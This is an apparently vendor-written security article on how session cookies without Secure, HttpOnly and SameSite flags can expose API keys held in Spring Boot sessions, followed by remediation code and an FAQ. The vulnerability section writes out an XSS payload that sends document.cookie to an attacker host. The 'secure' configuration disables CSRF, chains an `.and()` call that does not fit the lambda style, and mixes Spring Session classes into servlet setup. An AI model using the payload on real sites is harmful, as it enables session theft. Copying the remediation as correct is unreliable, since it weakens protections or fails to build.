HIGH api key exposurespring bootsession cookies

Api Key Exposure in Spring Boot with Session Cookies

Api Key Exposure in Spring Boot with Session Cookies — how this specific combination creates or exposes the vulnerability

When an API key is stored server-side in the HTTP session and exposed through session cookies in a Spring Boot application, the risk typically arises from insecure cookie attributes or session management rather than the storage mechanism itself. Spring Security’s default session handling uses a JSESSIONID cookie, which is a session-scoped identifier that maps to server-side session data where the API key can be held. However, if the session cookie is transmitted over unencrypted channels or is accessible to client-side scripts, the API key can be indirectly exposed.

One common vulnerability pattern occurs when the Secure and HttpOnly flags are not set on the session cookie. Without Secure, the cookie can be sent over HTTP, allowing interception on unauthenticated or compromised networks. Without HttpOnly, JavaScript running in the browser can read the cookie, enabling cross-site scripting (XSS) attacks to steal the session identifier and subsequently access the API key via authenticated endpoints. For example, an attacker who injects <script>fetch('https://attacker.com?c='+document.cookie)</script> can exfiltrate the JSESSIONID if HttpOnly is missing.

Additionally, missing SameSite cookie attributes can expose the application to cross-site request forgery (CSRF), where an authenticated user is tricked into issuing requests that the server processes using their session context. If an API key is bound to the session and used in requests, an attacker could induce the victim to perform unintended actions that reveal or misuse the key. Session fixation is another risk: if the session ID is not rotated after authentication, an attacker who obtains a pre-authentication session ID can hijack the authenticated session and access API-key-protected resources.

Spring Boot applications that rely on in-memory session stores without encryption or proper access controls may also expose session data if server-side logs or memory dumps are compromised. Because the API key resides server-side, direct exposure is less likely than in client-side token storage, but the session cookie becomes a critical linkage artifact. If scanning such an endpoint with middleBrick’s unauthenticated attack surface tests, findings related to missing cookie attributes, lack of transport security, or improper session handling would be surfaced under the Authentication and Property Authorization checks, aligned with OWASP API Top 10 and relevant compliance mappings.

In summary, the combination of Spring Boot session management and API key storage is only as secure as the cookie attributes and transport protections around the session identifier. Without Secure, HttpOnly, and SameSite flags, plus enforced HTTPS, the API key’s security is indirectly compromised through the session pathway.

Session Cookies-Specific Remediation in Spring Boot — concrete code fixes

To secure session cookies in Spring Boot and prevent indirect API key exposure, configure the servlet session and Spring Security cookie settings explicitly. Below are concrete, working code examples that set Secure, HttpOnly, and SameSite attributes, and enforce HTTPS for session cookies.

First, configure session cookie properties in application.properties or application.yml to enforce transport security and restrict cookie scope:

# application.properties
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.same-site=strict
server.servlet.session.cookie.path=/
server.ssl.enabled=true

For finer-grained control, define a ServletWebServerFactory bean in a configuration class to set cookie attributes programmatically, including SameSite which is not fully supported in older Spring Boot versions via properties alone:

@Configuration
public class SessionConfig {

    @Bean
    public ServletWebServerFactory servletContainer() {
        TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory() {
            @Override
            protected void postProcessContext(Context context) {
                SecurityConstraint securityConstraint = new SecurityConstraint();
                securityConstraint.setUserConstraint("CONFIDENTIAL");
                SecurityCollection collection = new SecurityCollection();
                collection.addPattern("/*");
                securityConstraint.addCollection(collection);
                context.addConstraint(securityConstraint);
            }
        };
        return factory;
    }

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setCookieName("SESSION");
        serializer.setUseHttpOnlyCookie(true);
        serializer.setRequireSecureConnection(true);
        serializer.setSameSite("Strict");
        return serializer;
    }
}

Alternatively, with Spring Security’s HttpSecurity, you can customize the session-management cookie settings directly in your security configuration:

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .sessionManagement((session) -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
            )
            .csrf((csrf) -> csrf.disable()) // or enable as appropriate
            .headers((headers) -> headers
                .contentSecurityPolicy((csp) -> csp
                    .policyDirectives("default-src 'self'")
                )
            )
            .requiresChannel((channel) -> channel
                .anyRequest().requiresSecure()
            )
            .and()
            .formLogin(withDefaults());

        // Customize session cookie via RequestContextFilter or servlet listeners if needed
        return http.build();
    }
}

To rotate the session identifier and mitigate session fixation, explicitly change the session ID after authentication:

@Controller
public class AuthController {

    @PostMapping("/login")
    public String login(@RequestParam String username, @RequestParam String password,
                        HttpServletRequest request, HttpServletResponse response) {
        // Perform authentication
        if (authenticate(username, password)) {
            // Force a new session ID to prevent fixation
            request.changeSessionId();
            // Store API key in session securely
            request.getSession().setAttribute("apiKey", "your-secure-api-key");
            return "redirect:/dashboard";
        }
        return "login";
    }
}

These configurations ensure that the session cookie is protected in transit and inaccessible to client-side scripts, reducing the risk that an exposed session identifier leads to compromise of the API key stored server-side. When combined with input validation and XSS protections, the attack surface for session-based API key exposure is significantly reduced.

Frequently Asked Questions

Can an API key stored in the server session still be exposed if the session cookie is properly secured?
Yes, if the server-side session store is compromised (e.g., via server breaches, log exposure, or insecure serialization), the API key can be exposed even with a secure session cookie. Always store minimal sensitive data server-side and rotate keys periodically.
Does middleBrick detect missing Secure or HttpOnly flags on session cookies during scans?
Yes, middleBrick’s unauthenticated scans include checks aligned with Authentication and Property Authorization that can flag missing Secure, HttpOnly, or SameSite attributes on session cookies, mapping findings to relevant compliance frameworks and providing remediation guidance.